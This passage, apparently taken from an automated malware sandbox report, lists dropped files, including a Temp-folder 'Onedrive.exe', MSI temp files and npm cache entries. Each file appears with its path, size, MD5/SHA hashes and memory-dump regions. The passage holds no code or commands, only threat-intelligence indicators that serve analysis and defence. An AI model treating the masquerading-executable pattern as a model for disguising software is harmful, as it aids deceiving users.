                25f012ae852b065244e4312ad1dd00dfb30b151c2cdf97024d49665a04d9ef2d

                SHA512

                4577c8e553d326b1a1c4f93cb6a8dd40486f8d9cad3009fd8a2006f4749667dd10999ae198aa9e37569a8e88f3b5d28819872f7e572a5b4ccc05eafb0cd1942f

                Download Submit

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
                Filesize

                400B

                MD5

                057dbdb30d560976cae77c95516de4c7

                SHA1

                e3c19d662f06de50a024275b904ef6f3c09e1b59

                SHA256

                4874d4821addc9ef6623eaa910b324c31cf597d7613889d3adfb21e05cf3e9b7

                SHA512

                be434e7d6b48968e62217811e503de1e6a22728abe203540288628fca147bd27bb0b691446bb0657022ba1aaba877aa31c56d11bb8f62cf5f97456c069569cd8

                Download Submit

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_0D7BFF9D231ADDC3439B70E4C5E809D4
                Filesize

                404B

                MD5

                0578017d53f1c410eac43e4772116f32

                SHA1

                46a5dfa8d57e3b373762b9305bd204611bcb6c2c

                SHA256

                78302b52caeef9c94d8ca62db6a686847acfbb0b94b083c0b842cc7227f02c3f

                SHA512

                2b4fb8a6e9478398ccb4269bcbd57a1518d4a34ef574b59e1796ec5192fd131bf77543f0db74b203189ba38ef62450df79de2f1a1430b9dd09d27fde6fedd96b

                Download Submit

              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
                Filesize

                412B

                MD5

                0bdc56d9c70d006f464a22cc6fa1b9b7

                SHA1

                e43fdb41f5d5bb3dd06b7faadf6636a71a555170

                SHA256

                181fdcc03cc27a38355889732d9e92d63a4cc7bef9243ea1c208546c9a258795

                SHA512

                87beffd48334fe41ffe9b820822f08b1414a268db852832f19740d6e40f061c1dd27fd3ea3285365ada2dbb773df142e1eff5083c22d2d351e0850c73ff2f284

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\MSIA141.tmp
                Filesize

                144KB

                MD5

                7fa9d662d634534d7c2240dd126bdeee

                SHA1

                bd01e22ed2da0d0d485824b372ac67da683863d2

                SHA256

                c0e8683b697b3c6e55deb4497d3434d6e2cc841eb8c9a1b7d3f8907cff7de206

                SHA512

                cbc737e3eb94151c9dacaa5ee780cb550176ca2be2e0c66925884b5bc6222b7bcde5ed66e881f2a76f3d26edf5331abf0e74c819ad4f5fd7d0819bc4c138bb81

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\MSIA20D.tmp
                Filesize

                390KB

                MD5

                80bebea11fbe87108b08762a1bbff2cd

                SHA1

                a7ec111a792fd9a870841be430d130a545613782

                SHA256

                facf518f88cd67afd959c99c3ba233f78a4fbfe7fd3565489da74a585b55e9d1

                SHA512

                a760debb2084d801b6381a0e1dcef66080df03a768cc577b20b8472be87ad8477d59c331159555de10182d87340aa68fe1f3f5d0212048fd7692d85f4da656f6

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\Onedrive.exe
                Filesize

                164KB

                MD5

                ad5e049817cef1730d3d64ed62f59d31

                SHA1

                81a18a01cf3b3f0f09b2fd2e320a255072a23c11

                SHA256

                31acbbe3b7914afc630dbfb88789824a3a9f35098137437f14194443c635a4ab

                SHA512

                750edf216d137df889b452119dca04d06d9c599bf42f59baed2d12c1960cb8fd692db562f65f82108a3ee03b758a24d7aeb717b6d086c9670a5fc0a445f99dbd

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vumgnvx.dx4.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\1ba63ff6
                Filesize

                117KB

                MD5

                f02c8f1593eba61ef0e3fb9b5f6282eb

                SHA1

                5cef0275d738b434920f2105cb6e448f5b4e1af3

                SHA256

                fe6f28f4abf3ef6516622a98ce9f802e8ca5c55647a7b46df49766284b9609f4

                SHA512

                2c719dafddcfc8bb060d686b050eaf92ef9e2207b04c4bc4d19ca8672f4d6d8058f5bcdf08975260ac64b990bd5a20d69420f411ed7fc74ff8fcced5c3fa4cdd

                Download Submit

              • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\81cef3e3
                Filesize

                186KB

                MD5

                7d8404695a53f470f2b060adae165dae

                SHA1

                13de10a067a92352f00348c0817af32858468281

                SHA256

                3a4941937fdf971ccee65825a86187afe121b3512f54f786f0d6f0b5d513608b

                SHA512

                064e963432ff2c9f7f8ef69f5b3de26f7c964e71fbecfa665b69b81550927e1a8415142e5dee40b4fa4212501f6f410ac0bbf2faafcfa94a0f2ca35328e22dad

                Download Submit

              • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\82bdb532
                Filesize

                7KB

                MD5

                3bcba958c6b6f93281ecae10d9487373

                SHA1

                d8215f38b885ddd8635c0ea338210f068e4781ee

                SHA256

                3936cd62847ce2f4e3cc2ab3633de5d02f02fbcf204fd52c03bd7ee7db55e169

                SHA512

                febf37c6c84f2c2c3138c50cc21580fffef19f2fe554145712c8f5f8a02827c48268a23fbeeebc48224571c46505484e0ae44924f614d416d691ba1004feb007

                Download Submit

              • C:\Users\Admin\AppData\Local\npm-cache\_cacache\tmp\eb6ce71b
                Filesize

                63KB

                MD5

                07390bd72e781a17aadc776f76bb1cbc

                SHA1

                98f56ef599b709a37ae99d902f14e14270758b81

                SHA256

                c371d1ec7b22b1b04af10f44e5cf3485c2cfc1cfedd7f2e13b11179c0efa349e

                SHA512

                e96ebace4d4f907e38965a11ca1b11865d27c0d77ac431614bb73cca3aa503c0dd4e553421d15210bc09a91f817d280d63b03a2d61cc33c3a8876320e6589435

                Download Submit

              • C:\Windows\Installer\MSI55E0.tmp
                Filesize

                341KB

                MD5

                74528af81c94087506cebcf38eeab4bc

                SHA1

                20c0ddfa620f9778e9053bd721d8f51c330b5202

                SHA256

                2650b77afbbc1faacc91e20a08a89fc2756b9db702a8689d3cc92aa163919b34

                SHA512

                9ce76594f64ea5969fff3becf3ca239b41fc6295bb3abf8e95f04f4209bb5ccddd09c76f69e1d3986a9fe16b4f0628e4a5c51e2d2edf3c60205758c40da04dae

                Download Submit

              • C:\Windows\Installer\e581d95.msi
                Filesize

                28.9MB

                MD5

                fa9e1f3064a66913362e9bff7097cef5

                SHA1

                b34f1f9a9f6242c54486a4bc453a9336840b4425

                SHA256

                9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b

                SHA512

                ad3e9469326dccac6b49185b5b2814ba700b5d83b4b3ce17f85a9adc5f90bdebf54d79800b253ed5c371ab82d27304841f86ab1a8a3c7ffade8a2d78e55dc99f

                Download Submit

              • \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                Filesize

                24.6MB

                MD5

                61d65ace858084d13c188b4a98bd1bab

                SHA1

                8b8f129d86179518afdf367de19f1029df576531

                SHA256

                0d8bc734870f81ca9511aeb2ca973d6e3b44a56169174268a36b9fc85e2ab779

                SHA512

                57472d38655cef15adf4cea6c1520530cfd87b04c5d7677adfbb0dee7d83caaebac20ca0ea7516cf9e52aef9bad8c6c8fd4d06da7d13b1fb5b164a8e058d626d

                Download Submit

              • \??\Volume{d7b304fe-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{4db85cdf-081a-4c86-9802-b33651570db1}_OnDiskSnapshotProp
                Filesize

                6KB

                MD5

                8632cb76ffe3865f4046a9855b66a0d0

                SHA1

                73344fd2a2aa3f8596738af2d8569d41979e1d4c

                SHA256

                4aaab37529f3b0602535b3d1ceef29e56807ab305d9287df8ebe3923532b88e3

                SHA512

                3d1b6370bb285fe3d358edfedf935c563a1fcf997ed74e6f94d102069d5d67f6b92f74cc9006e85b5cdcdd11d0e9bf3de156e5f9a637b331368e66b8c1a686c9

                Download Submit

              • memory/2724-3145-0x00000295CB6E0000-0x00000295CB702000-memory.dmp

                Filesize

                136KB

                Download

              • memory/3128-3175-0x0000024EF4300000-0x0000024EF4308000-memory.dmp

                Filesize

                32KB

                Download

              • memory/3128-3177-0x0000024EF45B0000-0x0000024EF45DA000-memory.dmp

                Filesize

                168KB

                Download

              • memory/3128-3178-0x0000024EF45B0000-0x0000024EF45D4000-memory.dmp

                Filesize

                144KB

                Download

              • memory/3244-3161-0x000002091ADC0000-0x000002091ADCA000-memory.dmp

                Filesize

                40KB

                Download

              • memory/3244-3165-0x000002091ADE0000-0x000002091ADE8000-memory.dmp

                Filesize

                32KB

                Download

              • memory/3884-3126-0x0000000000150000-0x000000000015A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/4444-3190-0x0000000000F00000-0x0000000000F2E000-memory.dmp

                Filesize

                184KB

                Download